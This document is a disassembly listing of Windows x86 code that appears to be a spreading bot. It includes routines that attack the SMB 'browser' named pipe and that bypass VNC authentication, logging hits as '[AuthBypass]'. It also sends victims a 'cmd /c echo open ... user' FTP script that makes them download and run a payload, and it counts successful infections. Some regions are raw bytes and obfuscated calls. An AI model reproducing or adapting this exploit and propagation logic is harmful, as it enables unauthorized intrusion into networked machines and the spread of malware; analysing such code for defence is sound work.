; ---------------------------------------------------------------------------
		jmp	short loc_40E3FC
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40E3FC:				; CODE XREF: ___:0040E3F5j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 27306D8h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40E440


loc_40E439:				; CODE XREF: ___:0040E518j
					; ___:0040E6EEj ...
		xor	al, al
		jmp	loc_40E884
; ---------------------------------------------------------------------------


loc_40E440:				; CODE XREF: ___:0040E437j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432BEC
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41CAB0
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432BD8
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41CAB0
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_40E51D


loc_40E50F:				; CODE XREF: ___:0040E5E9j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660000h
		jmp	loc_40E439
; ---------------------------------------------------------------------------


loc_40E51D:				; CODE XREF: ___:0040E50Dj
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		push	ebx
		call	sub_41D81B
		push	eax
		call	sub_41C058
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41BD10
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41BD10
		add	esp, 20h
		call	sub_41C062
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_432B80[esi], bl
		jz	short loc_40E594
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CC030
		jmp	short loc_40E5A7
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: ___:0040E580j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432BCF+1)


loc_40E5A7:				; CODE XREF: ___:0040E592j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		call	sub_41C062
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41C062
		cdq
		idiv	edi
		mov	eax, dword_432B74[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40E50F
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41BD10
		mov	eax, dword_432B7C[esi]
		push	7
		add	eax, edi
		push	offset dword_432B68
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432A08
		push	eax
		call	sub_41CAB0
		mov	eax, dword_432B78[esi]
		add	esp, 30h
		cmp	byte_432B80[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40E6A0
		push	4
		add	eax, edi
		push	offset dword_4CC028
		push	eax
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432B98
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41CAB0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 30h
		jmp	short loc_40E6C8
; ---------------------------------------------------------------------------


loc_40E6A0:				; CODE XREF: ___:0040E651j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432B98


loc_40E6B1:				; CODE XREF: ___:0040E6C6j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40E6B1


loc_40E6C8:				; CODE XREF: ___:0040E69Ej
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E6F3
		push	dword ptr [ebp-4]
		call	near ptr 2660000h
		nop
		push	edi
		call	sub_41BA31
		pop	ecx
		jmp	loc_40E439
; ---------------------------------------------------------------------------


loc_40E6F3:				; CODE XREF: ___:0040E6DCj
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41BD10
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41CAB0
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41CF2B
		call	sub_41CF04
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40E760


loc_40E758:				; CODE XREF: ___:0040E75Bj
		inc	eax
		test	al, 3
		jnz	short loc_40E758
		mov	[ebp+0Ch], eax


loc_40E760:				; CODE XREF: ___:0040E756j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41CAB0
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41BA31
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41BD10
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41BD10
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 27309E0h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40E7CD:				; CODE XREF: ___:0040E857j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40E862
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40E296
		add	esp, 2Ch
		test	al, al
		jz	short loc_40E85F
		cmp	[ebp-4Ch], ebx
		jz	short loc_40E851
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40E838
		nop
		call	near ptr 2680DCDh
		cmp	eax, 3E5h
		jnz	loc_40E439


loc_40E838:				; CODE XREF: ___:0040E825j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2690830h
		cmp	eax, 102h
		jnz	short loc_40E851
		mov	byte ptr [ebp+0Bh], 1


loc_40E851:				; CODE XREF: ___:0040E804j
					; ___:0040E84Bj
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40E7CD
		jmp	short loc_40E862
; ---------------------------------------------------------------------------


loc_40E85F:				; CODE XREF: ___:0040E7FFj
		mov	esi, [ebp-8]


loc_40E862:				; CODE XREF: ___:0040E7D1j
					; ___:0040E85Dj
		push	dword ptr [ebp-4]
		mov	edi, dword_427078
		call	edi
		push	esi
		call	sub_41BA31
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40E87E
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40E87E:				; CODE XREF: ___:0040E877j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40E884:				; CODE XREF: ___:0040E43Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  6Dh	; m
		db 0D4h	; Ô
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  2Ah	; *
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db  82h	; ‚
		db  2Eh	; .
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  4Eh	; N
		db  53h	; S
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  75h	; u
		db  55h	; U
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  14h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  40h	; @
		db  90h	; 
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0E1h	; á
		db 0C0h	; À
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  20h
		db  2Ch	; ,
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0CFh	; Ï
		db 0D7h	; ×
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  1Eh
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0A2h	; ¢
		db  31h	; 1
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0FEh	; þ
		db  30h	; 0
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 1B5DE890h, 83430227h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9CB	proc near		; CODE XREF: sub_40EAB9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EA99
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EA99
		mov	edi, 400h
		push	esi
		mov	esi, dword_427214
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4C9040
		push	[ebp+arg_0]
		call	sub_40A9FA
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C100
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EA9D


loc_40EA99:				; CODE XREF: sub_40E9CB+50j
					; sub_40E9CB+62j
		xor	eax, eax
		jmp	short loc_40EAB4
; ---------------------------------------------------------------------------


loc_40EA9D:				; CODE XREF: sub_40E9CB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAB4:				; CODE XREF: sub_40E9CB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAB9	proc near		; CODE XREF: sub_40C3D3+1E6p
					; DATA XREF: ___:off_43180Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4C9344
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB2B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB0C
		push	esi
		jmp	short loc_40EB25
; ---------------------------------------------------------------------------


loc_40EB0C:				; CODE XREF: sub_40EAB9+4Ej
		push	0
		push	1213h
		push	offset dword_432C94
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB2F


loc_40EB25:				; CODE XREF: sub_40EAB9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB2B:				; CODE XREF: sub_40EAB9+3Cj
		xor	eax, eax
		jmp	short loc_40EB71
; ---------------------------------------------------------------------------


loc_40EB2F:				; CODE XREF: sub_40EAB9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9CB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB6E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40EB6E:				; CODE XREF: sub_40EAB9+9Ej
		push	1
		pop	eax


loc_40EB71:				; CODE XREF: sub_40EAB9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EB75	proc near		; CODE XREF: ___:0040EC63p
					; ___:0040ECC5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EB7D:				; CODE XREF: sub_40EB75+2Dj
		test	edi, edi
		jle	short loc_40EBA8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C931C
		test	eax, eax
		jz	short loc_40EBA4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBA4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EB7D
; ---------------------------------------------------------------------------


loc_40EBA4:				; CODE XREF: sub_40EB75+22j
					; sub_40EB75+27j
		xor	eax, eax
		jmp	short loc_40EBAB
; ---------------------------------------------------------------------------


loc_40EBA8:				; CODE XREF: sub_40EB75+Aj
		push	1
		pop	eax


loc_40EBAB:				; CODE XREF: sub_40EB75+31j
		pop	edi
		pop	esi
		retn
sub_40EB75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBAE	proc near		; CODE XREF: ___:0040ECAFp
					; ___:0040ECDCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EBEB
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EBE5


loc_40EBBE:				; CODE XREF: sub_40EBAE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBEB
		test	eax, eax
		jz	short loc_40EBEB
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBBE


loc_40EBE5:				; CODE XREF: sub_40EBAE+Ej
		push	1
		pop	eax


loc_40EBE8:				; CODE XREF: sub_40EBAE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EBEB:				; CODE XREF: sub_40EBAE+8j
					; sub_40EBAE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EBE8
sub_40EBAE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433ED8
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4C9384
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC1D
		push	eax
		jmp	short loc_40EC51
; ---------------------------------------------------------------------------


loc_40EC1D:				; CODE XREF: ___:0040EC18j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4C9304
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC5C
		push	ebx


loc_40EC51:				; CODE XREF: ___:0040EC1Bj
		call	dword_4C939C
		jmp	loc_40EE57
; ---------------------------------------------------------------------------


loc_40EC5C:				; CODE XREF: ___:0040EC4Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CA73
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE50
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECA8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE50


loc_40ECA8:				; CODE XREF: ___:0040EC9Cj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE50
		push	1
		push	offset word_4C91BC
		push	ebx
		call	sub_40EBAE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE50
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D735
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EDE0
		push	edi
		push	esi
		push	ebx
		call	sub_40EB75
		add	esp, 0Ch


loc_40EDE0:				; CODE XREF: ___:0040EDD3j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C100
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431810[eax]
		push	ebx
		lea	eax, dword_431810[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE59
; ---------------------------------------------------------------------------


loc_40EE50:				; CODE XREF: ___:0040EC6Dj
					; ___:0040EC92j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE57:				; CODE XREF: ___:0040EC57j
		xor	eax, eax


loc_40EE59:				; CODE XREF: ___:0040EE4Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE67:				; CODE XREF: ___:0040EE83j
					; ___:0040EE9Fj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CC048
		call	dword_4C931C
		test	eax, eax
		jle	short loc_40EE67
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CC044
		nop
		call	near ptr 2720000h
		jmp	short loc_40EE67
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEAA:				; CODE XREF: ___:0040EED0j
					; ___:0040EEEAj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CC038
		call	near ptr 2710000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEAA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CC048
		call	dword_4C9354
		jmp	short loc_40EEAA
; ---------------------------------------------------------------------------
dword_40EEEC	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401AC7+2CDAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh
		dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh,	4C933015h
		dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h
		dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h
